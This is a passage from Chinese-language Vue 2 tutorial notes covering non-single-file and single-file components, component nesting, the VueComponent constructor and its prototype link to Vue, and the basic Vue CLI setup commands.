        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })

    // 第一步：创建student组件
    const student = Vue.extend({
        template:`
            <div>
                <h2>学生名字：{{studentName}}</h2>
                <h2>学生年龄：{{age}}</h2>
            </div>
        `,
        data(){
            return {
                studentName:'小明',
                age:18
            }
        },
    })

    // 第一步：创建hello组件
    const hello = Vue.extend({
        template:`
            <div>
                <h2>你好啊！{{name}}</h2>
            </div>
        `,
        data(){
            return {
                name:'Tom'
            }
        },
    })

    //第二步：注册组件（全局注册）
    Vue.component('hello',hello)
    // 创建vm
    new Vue({
        el:'#root',
        data:{
            msg:'你好啊！',
        },
        //第二步：注册组件（局部注册）
        components:{
            school:school,
            student:student
        },
    })
     // 创建vm
     new Vue({
        el:'#root2',
    })
</script>
</html>

43.非单文件组件（几个注意点）

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>非单文件组件（几个注意点）</title>
    <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
      几个注意点：
        1.关于组件名：
            一个单词组成：
                第一种写法（首字母小写）：school；
                第二种写法（首字母大写）：School；
            多个单词组成：
                第一种写法（kebab-case命名）：my-school；
                第二种写法（CamelCase命名）：MySchool；（需要Vue脚手架支持）
            备注：
                (1).组件名尽可能回避HTML中原有的元素名称，列如：h2、H2都不行；
                (2).可以使用name配置项指定组件在开发者工具中呈现的名字；
        2.关于组件标签：
            第一种写法：<my-school></my-school>；
            第二种写法：<my-school/>；
            备注：不用脚手架时，<my-school/>会导致后续组件不能渲染；
        3.一个简写方式：
            const s = Vue.extend(options) 可简写为：const s = options
    -->
    <div id="root">
        <h1>{{msg}}</h1>
        <!--  第三步：编写组件标签 -->
        <my-school></my-school>
    </div>
    
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示

    // 第一步：创建school组件
   const s = Vue.extend({
        name:'MySchool',
        template:`
            <div>
                <h2>学校名字：{{schoolName}}</h2>
                <h2>学校地址：{{address}}</h2>
                <button @click="showName">点我提示学校名</button>
            </div> 
        `,
        data(){
            return {
                schoolName:'电信学院',
                address:'北京'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })
    //第一步：创建school组件(简写)
    /*const s = {
        name:'MySchool',
        template:`
            <div>
                <h2>学校名字：{{schoolName}}</h2>
                <h2>学校地址：{{address}}</h2>
                <button @click="showName">点我提示学校名</button>
            </div> 
        `,
        data(){
            return {
                schoolName:'电信学院',
                address:'北京'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    }*/
    // 创建vm
    new Vue({
        el:'#root',
        data:{
            msg:'你好啊！',
        },
        //第二步：注册组件（局部注册）
        components:{
            'my-school':s
        },
    })
     
</script>
</html>

44.非单文件组件（组件嵌套）

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>非单文件组件（组件嵌套）</title>
    <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
      
    -->
    <div id="root">
        <!--  第三步：编写组件标签 -->
        <!-- <app></app> -->
    </div>
    
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示

     // 第一步：创建student组件
     const student = Vue.extend({
        name:'student',
        template:`
            <div>
                <h2>学生名字：{{studentName}}</h2>
                <h2>学生年龄：{{age}}</h2>
            </div>
        `,
        data(){
            return {
                studentName:'小明',
                age:18
            }
        },
    })

    // 第一步：创建school组件
   const school = Vue.extend({
        name:'MySchool',
        template:`
            <div>
                <h2>学校名字：{{schoolName}}</h2>
                <h2>学校地址：{{address}}</h2>
                <student></student>
            </div> 
        `,
        data(){
            return {
                schoolName:'电信学院',
                address:'北京'
            }
        },
        //注册组件（局部注册）
        components:{
            student,
        }
    })

    // 第一步：创建hello组件
   const hello = Vue.extend({
        name:'hello',
        template:`
            <div>
                <h2>{{msg}}</h2>
            </div> 
        `,
        data(){
            return {
                msg:'欢迎来学习！',
            }
        },
    })

    // 第一步：创建app组件
   const app = Vue.extend({
        name:'app',
        template:`
            <div>
                <hello></hello>
                <school></school>
            </div> 
        `,
        components:{
            hello,
            school
        }
    })
    
    // 创建vm
    new Vue({
        el:'#root',
        data:{
            msg:'你好啊！',
        },
        //第二步：注册组件（局部注册）
        components:{
            app
        },
        template:'<app></app>',
    })
     
</script>
</html>

45.VueComponent构造函数

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>VueComponent构造函数</title>
    <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
      关于VueComponent：
        1.school组件本质是一个VueComponent构造函数，且不是程序员定义的，是Vue.extend生成的。
        2.我们只需要写<school></school>或<school/>，Vue解析时会帮我们创建school组件的实例对象，
        即Vue帮我们执行的：new VueComponent(options)。
        3.特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent。
        4.关于this指向：
            (1).组件配置中：
                data函数、methods中的函数、watch中的函数、computed中的函数 它们中的this均指的是VueComponent实例对象。
            (2).new Vue()配置中：
                data函数、methods中的函数、watch中的函数、computed中的函数 它们中的this均指的是Vue实例对象。
        5.VueComponent的实例对象，以后简称VC（也可称之为：组件实例对象），
        Vue的实例对象，以后简称vm。
    -->
    <div id="root">
        <school></school>
        <hr>
        <button @click="showName01">点我提示</button>
    </div>
    
</body>
<script type="text/javascript">
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示

    // 第一步：创建school组件
   const school = Vue.extend({
        name:'MySchool',
        template:`
            <div>
                <h2>学校名字：{{schoolName}}</h2>
                <h2>学校地址：{{address}}</h2>
                <button @click="showName">点我提示学校名字</button>
            </div> 
        `,
        data(){
            return {
                schoolName:'电信学院',
                address:'北京'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
                console.log('组件中的this指的是：',this)
            }
        },
    })
    
    // 创建vm
    const vm = new Vue({
        el:'#root',
        data:{
            msg:'你好啊！',
        },
        //第二步：注册组件（局部注册）
        components:{
            school
        },
        methods: {
            showName01(){
                console.log('Vue实例中的this指的是：',this)
            }
        },
    })
     
</script>
</html>

46.一个重要的内置关系

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>一个重要的内置关系</title>
    <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        1.一个重要的内置关系：VueComponent.prototype.__proto__ === Vue.prototype；
        2.为什么要有这个关系:让组件实例对象VC可以访问到Vue原型上的属性、方法；
    -->
    <div id="root">
        <school></school>
    </div>
    
</body>
<script type="text/javascript">
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
    Vue.prototype.x = 99

    // 第一步：创建school组件
    const school = Vue.extend({
        name:'MySchool',
        template:`
            <div>
                <h2>学校名字：{{schoolName}}</h2>
                <h2>学校地址：{{address}}</h2>
                <button @click="showX">点我提示x</button>
            </div> 
        `,
        data(){
            return {
                schoolName:'电信学院',
                address:'北京'
            }
        },
        methods: {
            showX(){
                console.log(this.x)
            }
        },
    })

    // 创建一个vm实例对象
    const vm = new Vue({
        el:'#root',
        data:{
            msg:'你好啊！',
        },
        components:{
            school
        },
    })

    console.log(school.prototype.__proto__ === Vue.prototype);

    // 定义一个构造函数
    /*function Demo(params) {
        this.a = 1
        this.b = 2
    }
    
    // 创建一个Demo实例对象
    const d = new Demo()
    
    console.log(Demo.prototype);//显式原型属性
    console.log(d.__proto__);//隐式原型属性

    console.log(Demo.prototype === d.__proto__);
     
    //程序员通过显式原型属性操作原型对象，追加一个x属性，值为99.
    Demo.prototype.x = 99

    // console.log('@',d.__proto__.x);
    console.log('@',d);*/
</script>
</html>

47.单文件组件

47.1 创建一个School组件

<template>
    <!-- 组件的结构 -->
    <div class="demo">
        <h2>学校名字：{{schoolName}}</h2>
        <h2>学校地址：{{address}}</h2>
        <button @click="showName">点我提示</button>
    </div> 
</template>

<script>
//组件交互相关的代码（数据、方法等等）
//export default Vue.extend({})可以简写为：export default {}
    export default {
        name:'School',
        data(){
            return {
                schoolName:'电信学院',
                address:'北京'
            }
        },
        methods: {
            showName(){
                console.log(this.schoolName)
            }
        },
    }
</script>

    
<style>
/* 组件的样式 */
    .demo{
        background-color: orange;
    }
</style>

47.2 创建一个Student组件

<template>
    <!-- 组件的结构 -->
    <div>
        <h2>学生名字：{{studentName}}</h2>
        <h2>年龄：{{age}}</h2>
    </div> 
</template>

<script>
//组件交互相关的代码（数据、方法等等）
//export default Vue.extend({})可以简写为：export default {}
    export default {
        name:'Student',
        data(){
            return {
                studentName:'Tom',
                age:22
            }
        },
    }
</script>

47.3 创建一个App组件

<template>
    <!-- 必须有div根元素 -->
    <div>
        <School></School>
        <Student></Student>
    </div>
</template>

<script>
    // 引入组件
    import School  from './School.vue'
    import Student  from './Student.vue'

    export default {
        name:'App',
        components:{
            School,
            Student
        }
    }
</script>

47.4 创建一个main.js入口文件

import App from './App.vue'

new Vue({
    el:'#root',
    template:'<App></App>',
    components:{App},
})

47.5 创建一个容器

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>测试一下单文件组件</title>
</head>
<body>
    <div id="root">
        <!-- 准备一个容器 -->
        <!-- <App></App> -->
    </div>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="./main.js"></script>
</body>
</html>

48.创建Vue脚手架

48.1 说明

1.Vue脚手架是Vue官方提供的标准化开发工具（开发平台）。

2.最新版本是4.x。

3.文档：https://cli.vuejs.org/zh/。

48.2 具体步骤

第一步（仅第一次执行）：全局安装@vue/cli。

npm install -g @vue/cli

第二步：切换到你要创建项目的目录，然后使用命令创建项目。

vue create xxxx

第三步：启动项目。

npm run serve

备注：

如果出现下载缓慢请配置npm淘宝镜像：

npm config set registry https://registry.npm.taobao.org

Vue 脚手架隐藏了所有webpack相关的配置，若想查看具体的webpack相关配置，请执行：
vue inspect > output.js

49.Vue脚手架项目的学习

由于使用了Vue脚手架，不方便直接贴源码展示，请移至项目仓库查看！（可以clone源码运行，方便查看效果）

GitHub存储库地址：

Vue语法学习	Vue脚手架学习